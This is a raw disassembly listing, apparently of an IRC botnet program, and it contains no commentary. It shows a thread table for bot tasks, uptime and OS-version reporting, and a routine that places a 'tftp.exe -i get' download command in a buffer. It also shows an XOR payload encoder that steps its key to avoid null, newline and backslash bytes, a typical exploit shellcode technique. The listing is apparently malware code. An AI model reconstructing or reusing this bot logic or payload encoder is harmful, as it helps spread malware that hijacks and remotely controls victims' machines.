		jmp	short loc_40AD97
; ---------------------------------------------------------------------------


loc_40AD74:				; CODE XREF: ___:0040AD6Bj
		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_40AD84
		mov	esi, offset dword_43160C
		jmp	short loc_40AD97
; ---------------------------------------------------------------------------


loc_40AD84:				; CODE XREF: ___:0040AD7Bj
		cmp	dword ptr [ebp-8Ch], 2
		mov	esi, offset dword_431608
		jz	short loc_40AD97


loc_40AD92:				; CODE XREF: ___:0040AD52j
					; ___:0040AD62j
		mov	esi, offset dword_431604


loc_40AD97:				; CODE XREF: ___:0040AD32j
					; ___:0040AD39j ...
		mov	edi, [ebp+8]
		push	esi
		push	offset dword_4315FC
		push	1Ch
		push	edi
		call	sub_41C360
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40ADDB


loc_40ADB5:				; CODE XREF: ___:0040ADD9j
		call	sub_41C2C2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B89C
		push	1Ch
		push	edi
		call	sub_41C360
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40ADB5


loc_40ADDB:				; CODE XREF: ___:0040ADB3j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ADE1	proc near		; CODE XREF: sub_40AE84+5Cp

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		nop
		call	near ptr 26C0589h
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		push	0
		push	offset aMirc_0	; "mIRC"
		mov	esi, eax
		cmp	esi, 64h
		jbe	short loc_40AE30
		call	dword_4CB9E0
		test	eax, eax
		mov	eax, offset off_43162C
		jnz	short loc_40AE19
		mov	eax, offset byte_43DB88


loc_40AE19:				; CODE XREF: sub_40ADE1+31j
		push	eax
		push	esi
		push	offset dword_431624
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		call	sub_41C360
		add	esp, 14h
		jmp	short loc_40AE50
; ---------------------------------------------------------------------------


loc_40AE30:				; CODE XREF: sub_40ADE1+22j
		call	dword_4CB9E0
		test	eax, eax
		mov	eax, offset off_43162C
		jnz	short loc_40AE44
		mov	eax, offset byte_43DB88


loc_40AE44:				; CODE XREF: sub_40ADE1+5Cj
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_40AE50:				; CODE XREF: sub_40ADE1+4Dj
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41B9C0
		pop	ecx
		cmp	eax, 2
		pop	esi
		jbe	short loc_40AE7F
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41CBC0
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		push	[ebp+arg_0]
		call	sub_41BFD0
		add	esp, 18h


loc_40AE7F:				; CODE XREF: sub_40ADE1+7Dj
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_40ADE1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AE84	proc near		; CODE XREF: sub_4017ED+7Fp
					; sub_401955+50p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, offset dword_42D91C


loc_40AE90:				; CODE XREF: sub_40AE84+3Fj
		cmp	[ebp+arg_C], 0
		jz	short loc_40AEAB
		lea	eax, [esi-0Ch]
		push	eax
		push	[ebp+arg_C]
		call	sub_41CA50
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40AEB5
; ---------------------------------------------------------------------------


loc_40AEAB:				; CODE XREF: sub_40AE84+10j
		mov	ecx, [esi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al


loc_40AEB5:				; CODE XREF: sub_40AE84+25j
		test	eax, eax
		jnz	short loc_40AEC7
		add	esi, 14h
		inc	edi
		cmp	esi, offset off_42D9A8
		jb	short loc_40AE90
		jmp	short loc_40AED5
; ---------------------------------------------------------------------------


loc_40AEC7:				; CODE XREF: sub_40AE84+33j
		push	[ebp+arg_0]
		lea	eax, [edi+edi*4]
		call	off_42D920[eax*4]
		pop	ecx


loc_40AED5:				; CODE XREF: sub_40AE84+41j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jz	short loc_40AEE8
		push	[ebp+arg_0]
		call	sub_40ADE1
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40AEE8:				; CODE XREF: sub_40AE84+57j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_40AE84	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0B8h
		push	ebx
		push	esi
		lea	eax, [ebp-0B8h]
		push	edi
		push	eax
		mov	edi, offset byte_43DB88
		mov	dword ptr [ebp-0B8h], 94h
		nop
		call	near ptr 2700552h
		cmp	dword ptr [ebp-0B4h], 4
		push	0Ah
		pop	ebx
		jnz	short loc_40AF67
		cmp	dword ptr [ebp-0B0h], 0
		jnz	short loc_40AF48
		cmp	dword ptr [ebp-0A8h], 1
		jnz	short loc_40AF38
		mov	edi, offset dword_431620


loc_40AF38:				; CODE XREF: ___:0040AF31j
		cmp	dword ptr [ebp-0A8h], 2
		jnz	short loc_40AFA3
		mov	edi, offset dword_43161C
		jmp	short loc_40AFA3
; ---------------------------------------------------------------------------


loc_40AF48:				; CODE XREF: ___:0040AF28j
		cmp	[ebp-0B0h], ebx
		jnz	short loc_40AF57
		mov	edi, offset dword_431618
		jmp	short loc_40AFA3
; ---------------------------------------------------------------------------


loc_40AF57:				; CODE XREF: ___:0040AF4Ej
		cmp	dword ptr [ebp-0B0h], 5Ah
		jnz	short loc_40AF9E
		mov	edi, offset dword_431614
		jmp	short loc_40AFA3
; ---------------------------------------------------------------------------


loc_40AF67:				; CODE XREF: ___:0040AF1Fj
		cmp	dword ptr [ebp-0B4h], 5
		jnz	short loc_40AF9E
		cmp	dword ptr [ebp-0B0h], 0
		jnz	short loc_40AF80
		mov	edi, offset dword_431610
		jmp	short loc_40AFA3
; ---------------------------------------------------------------------------


loc_40AF80:				; CODE XREF: ___:0040AF77j
		cmp	dword ptr [ebp-0B0h], 1
		jnz	short loc_40AF90
		mov	edi, offset dword_43160C
		jmp	short loc_40AFA3
; ---------------------------------------------------------------------------


loc_40AF90:				; CODE XREF: ___:0040AF87j
		cmp	dword ptr [ebp-0B0h], 2
		mov	edi, offset dword_431684
		jz	short loc_40AFA3


loc_40AF9E:				; CODE XREF: ___:0040AF5Ej
					; ___:0040AF6Ej
		mov	edi, offset dword_431680


loc_40AFA3:				; CODE XREF: ___:0040AF3Fj
					; ___:0040AF46j ...
		lea	eax, [ebp-0A4h]
		push	offset word_4CB88C
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40AFC1
		mov	esi, offset dword_43167C
		jmp	short loc_40B03C
; ---------------------------------------------------------------------------


loc_40AFC1:				; CODE XREF: ___:0040AFB8j
		lea	eax, [ebp-0A4h]
		push	offset a1	; "1"
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40AFDF
		mov	esi, offset sub_431678
		jmp	short loc_40B03C
; ---------------------------------------------------------------------------


loc_40AFDF:				; CODE XREF: ___:0040AFD6j
		lea	eax, [ebp-0A4h]
		push	offset dword_431674
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40AFFD
		mov	esi, offset dword_431670
		jmp	short loc_40B03C
; ---------------------------------------------------------------------------


loc_40AFFD:				; CODE XREF: ___:0040AFF4j
		lea	eax, [ebp-0A4h]
		push	offset dword_43166C
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40B01B
		mov	esi, offset dword_431668
		jmp	short loc_40B03C
; ---------------------------------------------------------------------------


loc_40B01B:				; CODE XREF: ___:0040B012j
		lea	eax, [ebp-0A4h]
		push	offset dword_431664
		push	eax
		call	sub_41C2E0
		pop	ecx
		mov	esi, offset dword_431660
		test	eax, eax
		pop	ecx
		jnz	short loc_40B03C
		mov	esi, offset off_43165C


loc_40B03C:				; CODE XREF: ___:0040AFBFj
					; ___:0040AFDDj ...
		lea	eax, [ebp-0Ch]
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	eax
		or	dword ptr [ebp-8], 0FFFFFFFFh
		or	dword ptr [ebp-0Ch], 0FFFFFFFFh
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	0
		call	sub_41ADD8
		pop	ecx
		push	eax
		call	sub_41CCE3
		mov	eax, [ebp-4]
		add	esp, 14h
		cmp	eax, ebx
		jge	short loc_40B086
		push	eax
		push	offset a0D	; "0%d"
		lea	eax, [ebp-18h]
		push	ebx
		push	eax
		call	sub_41C360
		add	esp, 10h
		jmp	short loc_40B0AA
; ---------------------------------------------------------------------------


loc_40B086:				; CODE XREF: ___:0040B06Fj
		cmp	eax, 64h
		jge	short loc_40B098
		lea	ecx, [ebp-18h]
		push	ebx
		push	ecx
		push	eax
		call	sub_42635C
		jmp	short loc_40B0A7
; ---------------------------------------------------------------------------


loc_40B098:				; CODE XREF: ___:0040B089j
		push	offset a99	; "99"
		lea	eax, [ebp-18h]
		push	ebx
		push	eax
		call	sub_41C360


loc_40B0A7:				; CODE XREF: ___:0040B096j
		add	esp, 0Ch


loc_40B0AA:				; CODE XREF: ___:0040B084j
		nop
		call	near ptr 26C0589h
		push	eax
		call	sub_41C2B8
		pop	ecx
		lea	eax, [ebp-24h]
		push	ebx
		push	eax
		push	7
		push	800h
		call	near ptr 2700000h
		nop
		lea	eax, [ebp-18h]
		push	eax
		push	esi
		lea	eax, [ebp-24h]
		push	edi
		mov	edi, [ebp+8]
		push	eax
		push	offset aSSSS	; "%s|%s|%s|%s|"
		push	1Ch
		push	edi
		call	sub_41C360
		xor	esi, esi
		add	esp, 1Ch
		cmp	dword_429098, esi
		jle	short loc_40B115


loc_40B0F0:				; CODE XREF: ___:0040B113j
		call	sub_41C2C2
		cdq
		mov	ecx, ebx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B89C
		push	1Ch
		push	edi
		call	sub_41C360
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40B0F0


loc_40B115:				; CODE XREF: ___:0040B0EEj
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40B11C	proc near		; CODE XREF: sub_40B13C+Ap
					; sub_40B214+8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_41B9C0
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_41B9C0
		pop	ecx
		lea	eax, [esi+eax*2+0C1h]
		pop	ecx
		pop	esi
		retn
sub_40B11C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B13C	proc near		; CODE XREF: sub_40B22B+49p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_40B11C
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		jbe	short loc_40B159
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_40B159:				; CODE XREF: sub_40B13C+17j
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_8]
		call	sub_41B9C0
		push	[ebp+arg_C]
		mov	esi, eax
		call	sub_41B9C0
		mov	edi, eax
		mov	ebx, [ebp+arg_0]
		push	0FFFFFFEDh
		lea	eax, [edi+esi+12h]
		mov	dword_43171C, eax
		lea	eax, [edi+1]
		mov	dword_43173D, eax
		lea	eax, [edi+17h]
		mov	dword_431735, eax
		pop	eax
		push	74h
		sub	eax, edi
		push	offset dword_4316B8
		push	ebx
		mov	dword_43174B, eax
		call	sub_41CD20
		push	esi
		lea	eax, [ebx+74h]
		push	[ebp+arg_8]
		push	eax
		call	sub_41CD20
		add	esi, 74h
		push	5
		push	(offset	aTftp_exeIGet+0Ch)
		lea	eax, [esi+ebx]
		push	eax
		call	sub_41CD20
		add	esi, 5
		push	edi
		push	[ebp+arg_C]
		lea	eax, [esi+ebx]
		push	eax
		call	sub_41CD20
		add	esi, edi
		push	10h
		push	(offset	aTftp_exeIGet+11h)
		lea	eax, [esi+ebx]
		push	eax
		call	sub_41CD20
		add	esp, 44h
		add	esi, 10h
		push	edi
		lea	eax, [esi+ebx]
		push	[ebp+arg_C]
		push	eax
		call	sub_41CD20
		add	esi, edi
		push	38h
		add	esi, ebx
		push	offset byte_431741
		push	esi
		call	sub_41CD20
		mov	eax, [ebp+var_4]
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B13C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B214	proc near		; CODE XREF: sub_40B22B+Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_40B11C
		push	eax
		call	sub_40B298
		add	esp, 0Ch
		retn
sub_40B214	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B22B	proc near		; CODE XREF: sub_40DCF9+32p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_C]
		push	edi
		push	ebx
		call	sub_40B214
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		ja	short loc_40B24B
		cmp	eax, 0FFFFh
		jbe	short loc_40B24F


loc_40B24B:				; CODE XREF: sub_40B22B+17j
		xor	eax, eax
		jmp	short loc_40B294
; ---------------------------------------------------------------------------


loc_40B24F:				; CODE XREF: sub_40B22B+1Ej
		push	esi
		push	edi
		push	ebx
		call	sub_40B11C
		add	eax, 101h
		push	eax
		call	sub_41BEB5
		add	esp, 0Ch
		mov	esi, eax
		push	edi
		push	ebx
		push	edi
		push	ebx
		call	sub_40B11C
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	sub_40B13C
		push	eax
		push	esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B2B3
		push	esi
		mov	edi, eax
		call	sub_41BA91
		add	esp, 24h
		mov	eax, edi
		pop	esi


loc_40B294:				; CODE XREF: sub_40B22B+22j
		pop	edi
		pop	ebx
		pop	ebp
		retn
sub_40B22B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B298	proc near		; CODE XREF: sub_40B214+Ep
					; sub_40B2B3+4Ap

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	cl, cl
		jnz	short loc_40B2A1
		inc	ecx


loc_40B2A1:				; CODE XREF: sub_40B298+6j
		mov	eax, 0FFh
		cmp	eax, ecx
		sbb	eax, eax
		and	eax, 2
		add	eax, 15h
		add	eax, ecx
		retn
sub_40B298	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B2B3	proc near		; CODE XREF: sub_40B22B+56p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	byte ptr [ebp+arg_C], 0Ah
		jz	short loc_40B2CF
		cmp	byte ptr [ebp+arg_C], 0Dh
		jz	short loc_40B2CF
		cmp	byte ptr [ebp+arg_C], 5Ch
		jz	short loc_40B2CF
		cmp	byte ptr [ebp+arg_C], 0
		jnz	short loc_40B2D2


loc_40B2CF:				; CODE XREF: sub_40B2B3+8j
					; sub_40B2B3+Ej ...
		inc	[ebp+arg_C]


loc_40B2D2:				; CODE XREF: sub_40B2B3+1Aj
		push	esi
		mov	esi, 0FFh
		cmp	[ebp+arg_C], esi
		jbe	short loc_40B2FA
		mov	eax, [ebp+arg_C]
		shr	eax, 8
		cmp	al, 0Ah
		jz	short loc_40B2F3
		cmp	al, 0Dh
		jz	short loc_40B2F3
		cmp	al, 5Ch
		jz	short loc_40B2F3
		test	al, al
		jnz	short loc_40B2FA


loc_40B2F3:				; CODE XREF: sub_40B2B3+32j
					; sub_40B2B3+36j ...
		add	[ebp+arg_C], 100h


loc_40B2FA:				; CODE XREF: sub_40B2B3+28j
					; sub_40B2B3+3Ej
		push	[ebp+arg_C]
		call	sub_40B298
		cmp	eax, [ebp+arg_4]
		pop	ecx
		mov	[ebp+var_4], eax
		ja	short loc_40B312
		cmp	eax, 0FFFFh
		jbe	short loc_40B319


loc_40B312:				; CODE XREF: sub_40B2B3+56j
		xor	eax, eax
		jmp	loc_40B3B7
; ---------------------------------------------------------------------------


loc_40B319:				; CODE XREF: sub_40B2B3+5Dj
		mov	ecx, [ebp+arg_C]
		push	ebx
		mov	bl, byte_4CBB18
		xor	edx, edx
		push	edi
		mov	edi, [ebp+arg_8]
		test	ecx, ecx
		jbe	short loc_40B349


loc_40B32D:				; CODE XREF: sub_40B2B3+94j
		mov	al, [edx+edi]
		xor	al, bl
		jz	short loc_40B340
		cmp	al, 0Ah
		jz	short loc_40B340
		cmp	al, 0Dh
		jz	short loc_40B340
		cmp	al, 5Ch
		jnz	short loc_40B344


loc_40B340:				; CODE XREF: sub_40B2B3+7Fj
					; sub_40B2B3+83j ...
		inc	bl
		xor	edx, edx


loc_40B344:				; CODE XREF: sub_40B2B3+8Bj
		inc	edx
		cmp	edx, ecx
		jb	short loc_40B32D


loc_40B349:				; CODE XREF: sub_40B2B3+78j
		cmp	ecx, esi
		mov	byte_4CBB18, bl
		ja	short loc_40B375
		push	15h
		push	offset loc_4316A0
		push	[ebp+arg_0]
		mov	byte_4316AD, cl
		mov	byte_4316B1, bl
		call	sub_41CD20
		add	esp, 0Ch
		push	15h
		jmp	short loc_40B396
; ---------------------------------------------------------------------------


loc_40B375:				; CODE XREF: sub_40B2B3+9Ej
		push	17h
		push	offset loc_431688
		push	[ebp+arg_0]
		mov	word_431696, cx
		mov	byte_43169B, bl
		call	sub_41CD20
		add	esp, 0Ch
		push	17h


loc_40B396:				; CODE XREF: sub_40B2B3+C0j
		xor	eax, eax
		pop	ecx
		cmp	[ebp+arg_C], eax
		jbe	short loc_40B3B2
		mov	edx, [ebp+arg_0]
		lea	esi, [ecx+edx]


loc_40B3A4:				; CODE XREF: sub_40B2B3+FDj
		mov	cl, [eax+edi]
		xor	cl, bl
		mov	[esi+eax], cl
		inc	eax
		cmp	eax, [ebp+arg_C]
		jb	short loc_40B3A4


loc_40B3B2:				; CODE XREF: sub_40B2B3+E9j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	ebx


loc_40B3B7:				; CODE XREF: sub_40B2B3+61j
		pop	esi
		leave
		retn
sub_40B2B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B3BA	proc near		; CODE XREF: ___:00401599p
					; ___:004015D8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_43E710


loc_40B3C2:				; CODE XREF: sub_40B3BA+18j
		cmp	byte ptr [eax],	0
		jz	short loc_40B3D6
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_4CB710
		jl	short loc_40B3C2
		jmp	short loc_40B421
; ---------------------------------------------------------------------------


loc_40B3D6:				; CODE XREF: sub_40B3BA+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh
		push	[esp+0Ch+arg_0]
		lea	eax, dword_43E710[esi]
		push	eax
		call	sub_41BFD0
		mov	eax, [esp+14h+arg_4]
		add	esp, 0Ch
		mov	dword_43E910[esi], eax
		and	dword_43E914[esi], 0
		mov	eax, [esp+8+arg_8]
		and	dword_43E918[esi], 0
		mov	dword_43E91C[esi], eax
		and	byte_43E928[esi], 0
		pop	esi


loc_40B421:				; CODE XREF: sub_40B3BA+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_40B3BA	endp

; ---------------------------------------------------------------------------
byte_40B425	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+2946o
		dd 98EC81h, 458B0000h, 6A575608h, 0F08B5926h, 0FF68BD8Dh
		dd 0A5F3FFFFh, 0C7F075FFh, 9480h, 100h,	6C858D00h, 0FFFFFFFFh
		dd 0FF50F475h, 0FFFF68B5h, 15E8FFh, 75FF0000h, 26CE8ECh
		dd 0C4830000h, 90006A14h, 304B8BE8h, 555E5F02h,	0EC81EC8Bh
		dd 200h, 6A5756h, 681075FFh, 43177Ch, 0FF0C75FFh, 0D2E80875h
		dd 83FFFFE3h, 0FF3314C4h, 43E710BEh, 3E8000h, 7D833C74h
		dd 9750014h, 204BE83h, 75000000h, 8D57562Dh, 0FFFE0085h
		dd 0C54068FFh, 0E8500042h, 10D9Eh, 858D016Ah, 0FFFFFE00h
		dd 501075FFh, 0FF0C75FFh, 8AE80875h, 83FFFFE3h,	0C68124C4h
		dd 234h, 10FE8147h, 7C004CB7h, 0C95E5FB0h
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40B4F5	proc near		; CODE XREF: sub_401ACD+79AAp
					; sub_40B583+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_40B57D
		cmp	esi, 400h
		jge	short loc_40B57D
		imul	esi, 234h
		push	edi
		push	ebx
		push	dword_43E924[esi]
		lea	edi, dword_43E924[esi]
		nop
		call	near ptr 26C05DFh
		cmp	[edi], ebx
		jz	short loc_40B52D
		push	1
		pop	ebp


loc_40B52D:				; CODE XREF: sub_40B4F5+33j
		mov	[edi], ebx
		lea	edi, dword_43E918[esi]
		mov	dword_43E910[esi], ebx
		mov	dword_43E914[esi], ebx
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_40B54E
		push	eax
		call	sub_419F16
		pop	ecx


loc_40B54E:				; CODE XREF: sub_40B4F5+50j
		mov	[edi], ebx
		lea	edi, dword_43E91C[esi]
		mov	byte ptr dword_43E710[esi], bl
		mov	byte_43E928[esi], bl
		push	dword ptr [edi]
		call	dword_4CBA6C
		lea	esi, dword_43E920[esi]
		mov	[edi], ebx
		push	dword ptr [esi]
		call	dword_4CBA6C
		mov	[esi], ebx
		pop	edi


loc_40B57D:				; CODE XREF: sub_40B4F5+Dj
					; sub_40B4F5+15j
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40B4F5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B583	proc near		; CODE XREF: sub_40111D+18p
					; ___:loc_4017D9p ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_43E710


loc_40B58F:				; CODE XREF: sub_40B583+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_40B5A0
		push	edi
		call	sub_40B4F5
		test	eax, eax
		pop	ecx
		jz	short loc_40B5A0
		inc	ebx


loc_40B5A0:				; CODE XREF: sub_40B583+Fj
					; sub_40B583+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_4CB710
		jl	short loc_40B58F
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40B583	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B5B5	proc near		; CODE XREF: sub_401ACD+41B2p
					; sub_401ACD+4302p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_43E914


loc_40B5C9:				; CODE XREF: sub_40B5B5+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_40B5EB
		test	edi, edi
		jle	short loc_40B5DD
		cmp	[esi], edi
		jz	short loc_40B5DD
		cmp	ebx, edi
		jnz	short loc_40B5EB


loc_40B5DD:				; CODE XREF: sub_40B5B5+1Ej
					; sub_40B5B5+22j
		push	ebx
		call	sub_40B4F5
		test	eax, eax
		pop	ecx
		jz	short loc_40B5EB
		inc	[ebp+var_4]


loc_40B5EB:				; CODE XREF: sub_40B5B5+1Aj
					; sub_40B5B5+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_4CB914
		jl	short loc_40B5C9
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B5B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B602	proc near		; CODE XREF: ___:00401630p
					; sub_401ACD+95Ep ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_43E910


loc_40B609:				; CODE XREF: sub_40B602+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_40B612
		inc	eax


loc_40B612:				; CODE XREF: sub_40B602+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_4CB910
		jl	short loc_40B609
		retn
sub_40B602	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B621	proc near		; CODE XREF: sub_401ACD+23D9p

arg_0		= dword	ptr  4

		xor	eax, eax
		push	esi
		xor	edx, edx
		mov	ecx, offset dword_43E910


loc_40B62B:				; CODE XREF: sub_40B621+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_40B644
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_4CB910
		jl	short loc_40B62B
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40B644:				; CODE XREF: sub_40B621+10j
		mov	eax, edx
		pop	esi
		retn
sub_40B621	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B648	proc near		; CODE XREF: sub_401ACD+123Dp
					; sub_401ACD+125Bp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		xor	eax, eax
		cmp	[ebp+arg_1C], eax
		jz	short loc_40B661
		push	[ebp+arg_1C]
		call	sub_41C159
		pop	ecx


loc_40B661:				; CODE XREF: sub_40B648+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_40B5B5
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_40B68D
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s %s	stopped. (%d thread(s) stopped.)"
		push	eax
		call	sub_41C266
		add	esp, 14h
		jmp	short loc_40B6A7
; ---------------------------------------------------------------------------


loc_40B68D:				; CODE XREF: sub_40B648+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s No	%s thread found."
		push	eax
		call	sub_41C266
		add	esp, 10h


loc_40B6A7:				; CODE XREF: sub_40B648+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_40B6C7
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_40B6C7:				; CODE XREF: sub_40B648+63j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415D38
		pop	ecx
		leave
		retn
sub_40B648	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B6D6	proc near		; CODE XREF: sub_4017ED+159p
					; ___:0040BD0Bp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		imul	eax, 234h
		mov	dword_43E924[eax], ecx
		mov	dword_43E910[eax], ecx
		mov	dword_43E914[eax], ecx
		mov	dword_43E918[eax], ecx
		mov	dword_43E91C[eax], ecx
		mov	dword_43E920[eax], ecx
		mov	byte ptr dword_43E710[eax], cl
		mov	byte_43E928[eax], cl
		retn
sub_40B6D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B713	proc near		; CODE XREF: sub_401ACD+7C2Bp
					; sub_40B841+6Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	1
		pop	eax


loc_40B71D:				; CODE XREF: sub_40B713+68j
		mov	cl, [esi]
		test	cl, cl
		jz	short loc_40B77D
		cmp	eax, 1
		jnz	short loc_40B77D
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_40B77D
		cmp	cl, 2Ah
		jz	short loc_40B764
		cmp	cl, 3Fh
		jz	short loc_40B747
		cmp	cl, 5Bh
		jz	short loc_40B74C
		xor	eax, eax
